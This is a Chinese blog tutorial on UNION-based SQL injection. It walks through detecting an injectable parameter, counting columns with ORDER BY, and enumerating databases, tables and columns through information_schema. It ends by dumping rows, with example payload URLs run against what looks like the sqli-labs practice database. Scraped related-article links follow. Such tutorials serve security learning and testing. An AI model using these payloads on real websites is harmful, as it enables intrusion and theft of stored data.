union注入

更多内容请看此链接:https://blog.csdn.net/weixin_45380284

1.判断是否存在注入:

方法一:

单引号法——在url最后加一个单引号,如:

http://www.123456.com/web/union.php?id=1'

页面不正常,浏览器返回异常信息说明该链接会存在注入漏洞。

方法二:

1=1和1=2法,如:

http://www.123456.com/web/union.php?id=1 and 1=1

URL:http://www.123456.com/web/union.php?id=1 and 1=2

如果返回不同的页面,那么说明存在SQL注入漏洞。

2.使用order by 1-99 来查询该数据表字段数

方法;

Id=1 order by 1-99 来判断字段数,例如:

http://www.tianchi.com/web/union.php?id=1 order by 3

发现当id=1 order by 3时,页面返回与id=1相同的结果;而id=1 order by 4时不一样,故字段数量是3。

3.查询sql语句插入位置:

http://www.tianchi.com/web/union.php? id=-1 union select 1,2,3

通过浏览器返回的值判断;如果返回2:3则说明2、3位置可以插入sql语句

4.获取数据库名:

1.获取当前数据库库名:

将id=-1 union select 1,2,3中2的位置改为database() 如:

http://www.tianchi.com/web/union.php?id=-1 union select 1,database(),3

2.获取所有数据库库名

http://www.tianchi.com/web/union.php?id=-1 union select

1,group_concat(char(32,58,32),schema_name),3 from information_schema.schemata

3.逐条获取数据库库名

语句:select schema_name from information_schema.schemata limit 0,1;

http://www.tianchi.com/web/union.php?id=-1 union select 1,(select schema_name from information_schema.schemata limit 0,1),3

修改limit中第一个数字,如获取第二个库名:limit 1,1。

数据库库名:

information_schema,challenges,dedecmsv57utf8sp2,dvwa,mysql,performance_schema,security,test,xssplatform

5.获取数据库表名:

(1)方法一:

获取数据库表名,这种方式一次获取一个表名,2位置修改为:

select table_name from information_schema.tables where table_schema='security' limit 0,1;

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3

修改limit中第一个数字,如获取第二个表名:limit 1,1,这样就可以获取所有的表名。

表名是:emails,referers,uagents,users。

(2)方法二:

一次性获取当前数据库所有表名:

http://www.tianchi.com/web/union.php?id=-1 union select

1,group_concat(char(32,58,32),table_name),3 from information_schema.tables where table_schema='security'

6.取字段名

(1)方法一:

获取字段名,以emails表为例,2位置修改为:

select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1;

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),3

修改limit中第一个数字,如获取第二个字段名:limit 1,1

字段名:id,email_id。

(2)方法二:

以emails表为例,一次性获取所有字段名:

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,group_concat(char(32,58,32),column_name),3 from information_schema.columns where table_schema='security' and table_name='emails'

7.获取数据

(1)方法一:

获取数据,以emails表为例,2,3位置分别修改为:

(select id from security.emails limit 0,1),(select email_id from security.emails limit 0,1)

获取emails表第一,第二条数据:

1 : Dumb@dhakkan.com

2 : Angel@iloveu.com

URL:http://www.tianchi.com/web/union.php?id=-1 union select

1,(select id from security.emails limit 0,1),(select email_id from security.emails limit 0,1)

(2)方法二:

以emails表为例,一次性获取所有数据:

URL:http://www.tianchi.com/web/union.php?id=-1 union select

1,group_concat(char(32,58,32),id,email_id),3 from security.emails

8. union注入PHP代码

union注入的更多相关文章

  1. oracle union 注入工具

    '***********************************************************************************************'ora ...

  2. [php审计实战篇]BlueCms v1.6 Union注入

    非常基础的代码审计练习,适合有php基础的审计新手练习 本文作者:Aedoo 来源:i春秋社区 0×01 代码跟踪 首先,进入首页代码 :index.php 包含了php文件:/include/com ...

  3. SQL注入之Union注入攻击

    union联合查询算是最简单的一种注入了,但是却是经常遇到. 什么是UNION注入 UNION操作符用于合并两个或多个SELECT语句的结果集,而且UNION内部的SELECT语句必须拥有相同数量的列 ...

  4. sqli-labs less11-12(post型union注入)

    less-11 post型union注入 过程: 输入admin admin 判断username password的闭合方式 对username查字段个数 ' union select 1,2# ' ...

  5. i春秋-Phone number(union注入+hex转码)

    记一道union注入语句转十六进制的注入题. 这个网站的基本功能就是可以找出跟你用户名相同的注册的人数. 注册登录给了两个显位. 点击check可以显示出有多少人和你用户名相同. 同时在这个页面的源代 ...

  6. Mysql下Union注入Bypass安全狗过程

    文章转载于:http://www.0aa.me/index.php/archives/95/ 一次众测发现个注入,然后有安全狗就顺带看了下安全狗. 先fuzz看看安全狗拦截什么关键词union sel ...

  7. union注入的几道ctf题,实验吧简单的sql注入1,2,这个看起来有点简单和bugku的成绩单

    这几天在做CTF当中遇到了几次sql注入都是union,写篇博客记录学习一下. 首先推荐一篇文章“https://blog.csdn.net/Litbai_zhang/article/details/ ...

  8. sql注入之union注入

    联合查询注入利用的前提: 必须要有回显 联合查询过程: 判断是否存在注入点 判断是什么类型注入(字符型or数字型) 判断闭合方式 查询列数个数(order by) 5, 获得数据库名 获得表名 获得字 ...

  9. sqli-labs less1-4(union注入)

    less-1 考点:Single quotes 输入: 判断类型 ?id=1 返回loginname和password.输入的id就是与后台数据库连接的接口通过id=? 查询数据库信息 ?id=1' ...

随机推荐

  1. easymock案例2

    public interface IStudent { public String doMethod1(); public String doMethod2(); public String doMe ...

  2. 观察者模式(Observer Pattern)(二):HeadFirst中的气象站的实现

    1 观察者模式的原理,首先由一个主题,当主题发送变化的时候,通知该主题的订阅者 按照上面的分析我们来进行设计 1.抽象主题Subject public interface Subject { publ ...

  3. SpringBoot--数据库管理与迁移(LiquiBase)

    随着开发时间积累,一个项目会越来越大,同时表结构也越来越多,管理起来比较复杂,特别是当想要把一个答的项目拆分成多个小项目时,表结构拆分会耗很大的精力:如果使用LiquiBase对数据库进行管理,那么就 ...

  4. Auto-keras API详解

    在网上找到的Auto-keras API详解,非常全面,防止丢失记录在这! Auto-Keras API详解(1)——安装Auto-Keras https://blog.csdn.net/weixin ...

  5. python利用列表文件遍历

    关键词:文件遍历/列表 思路:先制作目标文件列表(txt/csv...均可),再逐行读取列表文件 1. 制作列表 linux 终端输入:# find ./abc -type f > list.t ...

  6. jquery入门(1)

    1.jQuery简介 jQuery是一个快速.简洁的JavaScript框架,倡导写更少的代码,做更多的事情 jquery官方网站 jquery中文文档 1.1.简单函数封装 根据id.类名称来获取元 ...

  7. JavaScript基础CallBack函数(015)

    前面提到,函数对象是可以作为参数传递给另一函数的,这时,作为参数的函数如果在内部被执行,那么它就是个回调函数(Callback): function writeCode(callback) { // ...

  8. Spring FactoryBean 缓存

    相关文章 Spring 整体架构 编译Spring5.2.0源码 Spring-资源加载 Spring 容器的初始化 Spring-AliasRegistry Spring 获取单例流程(一) Spr ...

  9. P4817 Fruit Feast G

    最开始拿到这道题的时候,题目中其实只规定了两种水果的饱食度,可以理解成价值或是重量,在不超过T的情况求最大值.第一眼看过去感觉就是装箱问题(背包),只不过这道题用的是完全背包,但是考虑到喝水的情况,做 ...

  10. 「疫期集训day4」硝烟

    那真是一阵恐怖的炮击(that boomed booms),响亮的炮音(that noise),滚滚的硝烟(that smoke),熊熊的火焰在围绕着我们前进...小心前进(go and be car ...